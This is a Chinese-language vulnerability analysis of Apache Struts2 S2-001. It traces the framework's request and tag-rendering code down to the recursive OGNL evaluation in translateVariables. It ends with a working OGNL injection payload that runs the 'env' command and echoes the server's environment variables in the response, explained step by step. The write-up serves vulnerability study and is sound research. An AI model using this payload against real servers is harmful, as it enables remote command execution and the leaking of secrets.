# Struts2-001

Strusts 下载链接,可以使用 vulhub

# 代码调试环境搭建

本文采用项目一般启动方式,也可以直接使用 vulhub 运行 docker 环境之后进行 jvm 远程调试。

新建项目

目录结构如下所示:

将 vulhub 中 s2-001 的代码粘贴覆盖到 webapp 目录中

添加项目库(右键 —> 添加为库),这样才能代码调试

设置断点,启动调试 tomcat:

关闭所有断点,执行剩余代码,尝试是否正常运行:

# 网络请求调试 (对请求不感兴趣的可以不看)

根据 web.xml 配置

<filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>

这是一个过滤器,会过滤我们的请求(通过执行 org.apache.struts2.dispatcher.FilterDispatcher类的doFilter 进行过滤),我们先跟踪这里:

doFilter

public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)req;
        HttpServletResponse response = (HttpServletResponse)res;
        ServletContext servletContext = this.getServletContext();
        String timerKey = "FilterDispatcher_doFilter: ";
        try {
            UtilTimerStack.push(timerKey);
            request = this.prepareDispatcherAndWrapRequest(request, response);
            ActionMapping mapping;
            try {
                mapping = actionMapper.getMapping(request, this.dispatcher.getConfigurationManager());
            } catch (Exception ex) {
                LOG.error("error getting ActionMapping", ex);
                this.dispatcher.sendError(request, response, servletContext, 500, ex);
                return;
            }
            if (mapping == null) {
                String resourcePath = RequestUtils.getServletPath(request);
                if ("".equals(resourcePath) && null != request.getPathInfo()) {
                    resourcePath = request.getPathInfo();
                }
                if (serveStatic && resourcePath.startsWith("/struts")) {
                    String name = resourcePath.substring("/struts".length());
                    this.findStaticResource(name, request, response);
                } else {
                    chain.doFilter(request, response);
                }
            } else {
                this.dispatcher.serviceAction(request, response, servletContext, mapping);
            }
        } finally {
            try {
                ActionContextCleanUp.cleanUp(req);
            } finally {
                UtilTimerStack.pop(timerKey);
            }
        }
    }
  1. 先获取请求,创建 ServletContext(获取当前 Servlet 的上下文( ServletContext ),用于在后续的操作中访问应用程序的环境信息)。
  2. 进行 prepareDispatcherAndWrapRequest 处理:
    1. 代码先进行初始化 Dispatcher (管理请求分发和处理请求),
    2. 之后 WrapRequest 进行请求包装,对 multipart/form-data 类型的请求进行特殊处理(处理文件上传等,可以跟进代码查看如何 parse,这里不再跟进)。
    3. 之后返回请求。
  3. 获取 ActionMapping,根据当前请求获取相应的 ActionMapping(这里进行解析 url 并找到对应的 Action 类),ActionMapping 描述了请求映射到哪个 Action 类以及这个 Action 类如何配置。如果在获取 ActionMapping 时发生异常,日志会记录该错误,并且调用 sendError 方法向客户端发送 500 错误响应。

  1. 如果没有找到对应的 action 映射,这解析路径,查看是否为静态资源请求,如果也不是静态资源请求那么传递给下一个过滤器。

  2. 如果找到 Mapping,则执行 ServiceAction

  3. 最后清理上下文,并结束计时。

接下来我们跟踪 serviceAction:

public void serviceAction(HttpServletRequest request, HttpServletResponse response, ServletContext context, ActionMapping mapping) throws ServletException {
        Map<String, Object> extraContext = this.createContextMap(request, response, mapping, context);
        ValueStack stack = (ValueStack)request.getAttribute("struts.valueStack");
        if (stack != null) {
            extraContext.put("com.opensymphony.xwork2.util.ValueStack.ValueStack", ValueStackFactory.getFactory().createValueStack(stack));
        }
        String timerKey = "Handling request from Dispatcher";
        try {
            UtilTimerStack.push(timerKey);
            String namespace = mapping.getNamespace();
            String name = mapping.getName();
            String method = mapping.getMethod();
            Configuration config = this.configurationManager.getConfiguration();
            ActionProxy proxy = ((ActionProxyFactory)config.getContainer().getInstance(ActionProxyFactory.class)).createActionProxy(namespace, name, extraContext, true, false);
            proxy.setMethod(method);
            request.setAttribute("struts.valueStack", proxy.getInvocation().getStack());
            if (mapping.getResult() != null) {
                Result result = mapping.getResult();
                result.execute(proxy.getInvocation());
            } else {
                proxy.execute();
            }
            if (stack != null) {
                request.setAttribute("struts.valueStack", stack);
            }
        } catch (ConfigurationException e) {
            LOG.error("Could not find action or result", e);
            this.sendError(request, response, context, 404, e);
        } catch (Exception e) {
            throw new ServletException(e);
        } finally {
            UtilTimerStack.pop(timerKey);
        }
    }
  1. 先创建一个用于执行 Action 的上下文信息 ( extraContext ),跟进去查看下源码,都是一些请求参数 session 等放在这里面,以及上面的 servletContext 也被放在里面了

  2. 获取 ValueStack,检查是否存在请求中如果不存在,那么创建一个放进 extraContext

  3. 获取 Action 的名称、命名空间和方法

  4. namespace :Action 的命名空间(之后可以看看是啥样的)。

  5. name :Action 的名称,即类名。

  6. method :Action 中要调用的方法名。

  7. 获取配置并创建 ActionProxy:

    1. Configuration :获取配置管理器的配置对象。
    2. ActionProxyFactory :通过 ActionProxyFactory 创建一个 ActionProxy 对象, ActionProxy 是执行 Action 的核心对象。它负责实际执行 Action,调用其方法,并处理结果。

  8. 将当前 Action 执行的 ValueStack 存储在请求中

  9. mapping.getResult() :检查 ActionMapping 是否有指定的 Result 对象。如果有,执行该 Result ,通常是根据结果类型(如视图、重定向等)返回相应的响应。

    proxy.execute() :如果没有指定特定的 Result ,则直接执行 ActionProxy ,通过调用 Action 的方法来处理请求。(之后可以跟进会执行 invocation 的 invoke 方法,之后执行所有的 Interception,最后执行下面的 executeresult, 最后执行 ServeletDispatcherResult)

这里 dispatcher.forward 就是将请求和回复发送到其他页面

之前是一些请求处理流程,接下来返回渲染 jsp 时存在利用点:

# 漏洞利用调试

下面是页面代码

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://struts.apache.org/docs/s2-001.html">https://struts.apache.org/docs/s2-001.html</a></p>

<s:form action="login">
	<s:textfield name="username" label="username" />
	<s:textfield name="password" label="password" />
	<s:submit></s:submit>
</s:form>
</body>
</html>
  1. 注册标签库

    <%@ taglib prefix="s" uri="/struts-tags" %>
    

    通过注册标签库来告诉 JSP 容器如何处理这些标签 (前缀为 s 的标签)。相关的 struts-tags.tld 文件定义了标签及其处理类.

  2. 标签类实现

    以 TextFieldTag 类为例:

    public class TextFieldTag extends AbstractUITag {
        private static final long serialVersionUID = 5811285953670562288L;
        protected String maxlength;
        protected String readonly;
        protected String size;
        public TextFieldTag() {
        }
        public Component getBean(ValueStack stack, HttpServletRequest req, HttpServletResponse res) {
            return new TextField(stack, req, res);
        }
        protected void populateParams() {
            super.populateParams();
            TextField textField = (TextField)this.component;
            textField.setMaxlength(this.maxlength);
            textField.setReadonly(this.readonly);
            textField.setSize(this.size);
        }
        /** @deprecated */
        public void setMaxLength(String maxlength) {
            this.maxlength = maxlength;
        }
        public void setMaxlength(String maxlength) {
            this.maxlength = maxlength;
        }
        public void setReadonly(String readonly) {
            this.readonly = readonly;
        }
        public void setSize(String size) {
            this.size = size;
        }
    }
  3. 处理标签流程

    1. jsp 容器读取标签库(uri="/struts-tags")

    2. 解析标签库 (寻找对应的 struts-tags.tld) 文件, textField 标签对应的 TextFieldTag

      <s:textfield name="username" label="username" />
      
    3. 标签转发到 Struts2 的 TagSupport 类

      Struts2 会创建标签的处理类实例(如 FormTag )并调用其 doStartTag()doEndTag() 方法。标签的属性(如 actionmethod )会传递到标签类中。

    4. 执行标签逻辑,渲染输出

  4. 那么现在跟进 TextFiledTag 类,找到对应的 doStartTag()doEndTag() 方法

    找到继承的父类:

    public abstract class ComponentTagSupport extends StrutsBodyTagSupport {
        protected Component component;
        public ComponentTagSupport() {
        }
        public abstract Component getBean(ValueStack var1, HttpServletRequest var2, HttpServletResponse var3);
        public int doEndTag() throws JspException {
            this.component.end(this.pageContext.getOut(), this.getBody());
            this.component = null;
            return 6;
        }
        public int doStartTag() throws JspException {
            this.component = this.getBean(this.getStack(), (HttpServletRequest)this.pageContext.getRequest(), (HttpServletResponse)this.pageContext.getResponse());
            Container container = Dispatcher.getInstance().getContainer();
            container.inject(this.component);
            this.populateParams();
            boolean evalBody = this.component.start(this.pageContext.getOut());
            if (evalBody) {
                return this.component.usesBody() ? 2 : 1;
            } else {
                return 0;
            }
        }
        protected void populateParams() {
            this.component.setId(this.id);
        }
        public Component getComponent() {
            return this.component;
        }
    }

    我们在 doEndTag 设置断点,之后在执行完上面的 dispatchForward 之后会执行到这里:

    跟进 evaluateParams 方法:

    public void evaluateParams() {
            this.addParameter("templateDir", this.getTemplateDir());
            this.addParameter("theme", this.getTheme());
            String name = null;
            if (this.key != null) {
                if (this.name == null) {
                    this.name = this.key;
                }
                if (this.label == null) {
                    this.label = "%{getText('" + this.key + "')}";
                }
            }
            if (this.name != null) {
                name = this.findString(this.name);
                this.addParameter("name", name);
            }
            if (this.label != null) {
                this.addParameter("label", this.findString(this.label));
            }
            if (this.labelPosition != null) {
                this.addParameter("labelposition", this.findString(this.labelPosition));
            }
            if (this.requiredposition != null) {
                this.addParameter("requiredposition", this.findString(this.requiredposition));
            }
            if (this.required != null) {
                this.addParameter("required", this.findValue(this.required, Boolean.class));
            }
            if (this.disabled != null) {
                this.addParameter("disabled", this.findValue(this.disabled, Boolean.class));
            }
            if (this.tabindex != null) {
                this.addParameter("tabindex", this.findString(this.tabindex));
            }
            if (this.onclick != null) {
                this.addParameter("onclick", this.findString(this.onclick));
            }
            if (this.ondblclick != null) {
                this.addParameter("ondblclick", this.findString(this.ondblclick));
            }
            if (this.onmousedown != null) {
                this.addParameter("onmousedown", this.findString(this.onmousedown));
            }
            if (this.onmouseup != null) {
                this.addParameter("onmouseup", this.findString(this.onmouseup));
            }
            if (this.onmouseover != null) {
                this.addParameter("onmouseover", this.findString(this.onmouseover));
            }
            if (this.onmousemove != null) {
                this.addParameter("onmousemove", this.findString(this.onmousemove));
            }
            if (this.onmouseout != null) {
                this.addParameter("onmouseout", this.findString(this.onmouseout));
            }
            if (this.onfocus != null) {
                this.addParameter("onfocus", this.findString(this.onfocus));
            }
            if (this.onblur != null) {
                this.addParameter("onblur", this.findString(this.onblur));
            }
            if (this.onkeypress != null) {
                this.addParameter("onkeypress", this.findString(this.onkeypress));
            }
            if (this.onkeydown != null) {
                this.addParameter("onkeydown", this.findString(this.onkeydown));
            }
            if (this.onkeyup != null) {
                this.addParameter("onkeyup", this.findString(this.onkeyup));
            }
            if (this.onselect != null) {
                this.addParameter("onselect", this.findString(this.onselect));
            }
            if (this.onchange != null) {
                this.addParameter("onchange", this.findString(this.onchange));
            }
            if (this.accesskey != null) {
                this.addParameter("accesskey", this.findString(this.accesskey));
            }
            if (this.cssClass != null) {
                this.addParameter("cssClass", this.findString(this.cssClass));
            }
            if (this.cssStyle != null) {
                this.addParameter("cssStyle", this.findString(this.cssStyle));
            }
            if (this.title != null) {
                this.addParameter("title", this.findString(this.title));
            }
            if (this.parameters.containsKey("value")) {
                this.parameters.put("nameValue", this.parameters.get("value"));
            } else if (this.evaluateNameValue()) {
                Class valueClazz = this.getValueClassType();
                if (valueClazz != null) {
                    if (this.value != null) {
                        this.addParameter("nameValue", this.findValue(this.value, valueClazz));
                    } else if (name != null) {
                        String expr = name;
                        if (this.altSyntax()) {
                            expr = "%{" + name + "}";
                        }
                        this.addParameter("nameValue", this.findValue(expr, valueClazz));
                    }
                } else if (this.value != null) {
                    this.addParameter("nameValue", this.findValue(this.value));
                } else if (name != null) {
                    this.addParameter("nameValue", this.findValue(name));
                }
            }
            Form form = (Form)this.findAncestor(Form.class);
            this.populateComponentHtmlId(form);
            if (form != null) {
                this.addParameter("form", form.getParameters());
                if (name != null) {
                    List tags = (List)form.getParameters().get("tagNames");
                    tags.add(name);
                }
            }
            if (this.tooltipConfig != null) {
                this.addParameter("tooltipConfig", this.findValue(this.tooltipConfig));
            }
            if (this.tooltip != null) {
                this.addParameter("tooltip", this.findString(this.tooltip));
                Map tooltipConfigMap = this.getTooltipConfig(this);
                if (form != null) {
                    form.addParameter("hasTooltip", Boolean.TRUE);
                    Map overallTooltipConfigMap = this.getTooltipConfig(form);
                    overallTooltipConfigMap.putAll(tooltipConfigMap);
                    for(Map.Entry entry : overallTooltipConfigMap.entrySet()) {
                        this.addParameter((String)entry.getKey(), entry.getValue());
                    }
                } else {
                    LOG.warn("No ancestor Form found, javascript based tooltip will not work, however standard HTML tooltip using alt and title attribute will still work ");
                }
            }
            this.evaluateExtraParams();
        }

    前面都是些赋值操作,通过调试这些属性大多不是我们可控的,但是在调试过程执行的时候我们会看到有 findValue 函数,跟进看看:

    protected Object findValue(String expr, Class toType) {
            if (this.altSyntax() && toType == String.class) {
                return TextParseUtil.translateVariables('%', expr, this.stack);
            } else {
                if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) {
                    expr = expr.substring(2, expr.length() - 1);
                }
                return this.getStack().findValue(expr, toType);
            }
        }

    跟着调试的步骤 我们进入了 if 语句里面,再跟进去看看

    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
            Object result = expression;
            while(true) {
                int start = expression.indexOf(open + "{");
                int length = expression.length();
                int x = start + 2;
                int count = 1;
                while(start != -1 && x < length && count != 0) {
                    char c = expression.charAt(x++);
                    if (c == '{') {
                        ++count;
                    } else if (c == '}') {
                        --count;
                    }
                }
                int end = x - 1;
                if (start == -1 || end == -1 || count != 0) {
                    return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
                }
                String var = expression.substring(start + 2, end);
                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                    o = evaluator.evaluate(o);
                }
                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                if (o != null) {
                    if (TextUtils.stringSet(left)) {
                        result = left + o;
                    } else {
                        result = o;
                    }
                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }
                    expression = left + o + right;
                } else {
                    result = left + right;
                    expression = left + right;
                }
            }
        }

    这个函数大体看一下会解析变量 ,并且是一个死循环,只有一个 return 语句,就是当字符串不存在 { 的时候会返回最后的结果。

    继续跟进,直到:

    接下来跟进 findValue :

    执行之后会获取值,并直接返回。这个值是我们可控的,那么这个时候,返回之后,由于程序是一个死循环,会一直检查表达式中是否有 {} 存在,

  5. 继续跟进 findValue

    之后通过 getValue 获取到表达式的执行结果:

    最后直接返回:

    最后表达式为 2 退出 while 循环。

  6. 找一些 payload:

    根据代码:

    public static Object getValue(Object tree, Map context, Object root, Class resultType) throws OgnlException {
            OgnlContext ognlContext = (OgnlContext)addDefaultContext(root, context);
            Object result = ((Node)tree).getValue(ognlContext, root);
            if (resultType != null) {
                result = getTypeConverter(context).convertValue(context, root, (Member)null, (String)null, result, resultType);
            }
            return result;
        }

    最后执行的是 Ognl 表达式:

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

    解释:

    %{ 
      #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(), 
      #b=#a.getInputStream(), 
      #c=new java.io.InputStreamReader(#b), 
      #d=new java.io.BufferedReader(#c), 
      #e=new char[50000], 
      #d.read(#e), 
      #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), 
      #f.getWriter().println(new java.lang.String(#e)), 
      #f.getWriter().flush(), 
      #f.getWriter().close()
    }
    • 创建并执行进程
    #a = (new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start()

    ProcessBuilder 是用于创建和启动本地操作系统进程的类。这里,它启动了一个新的进程来执行命令 env ,该命令输出当前系统的环境变量。

    redirectErrorStream(true) 会将标准错误流和标准输出流合并,这样所有的输出都可以通过同一个流来读取。 start() 启动进程并返回一个 Process 对象。

    • 获取进程输出
    #b=#a.getInputStream()

    #a.getInputStream() 获取该进程的标准输出流。也就是 env 命令的输出内容

    • 读取进程输出
    #c = new java.io.InputStreamReader(#b)

    #b 是进程的输入流(即标准输出流), InputStreamReader 是一个将字节流转换为字符流的类,它将 #b 包装成字符流 #c

    #d = new java.io.BufferedReader(#c)

    BufferedReader 是一个用于高效读取字符流的类, #c 被包装成 BufferedReader 以便更方便地逐行读取输入流。

    #e = new char[50000],
    #d.read(#e),

    #e 是一个字符数组,用于存储从 BufferedReader 中读取的环境变量数据。读取进程的输出流内容并将其存储到字符数组 #e 中。

    #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), 
    #f.getWriter().println(new java.lang.String(#e)), 
    #f.getWriter().flush(), 
    #f.getWriter().close()

    从 OGNL 上下文中获取 HttpServletResponse 对象。 HttpServletResponse 用于向客户端返回响应。 #f.getWriter() 获取 HttpServletResponsePrintWriter ,它用于向客户端输出数据。 new java.lang.String(#e) 将字符数组 #e 转换成字符串,输出到客户端。 flush() 方法将 PrintWriter 中缓冲的内容写入响应流中。 close() 关闭输出流。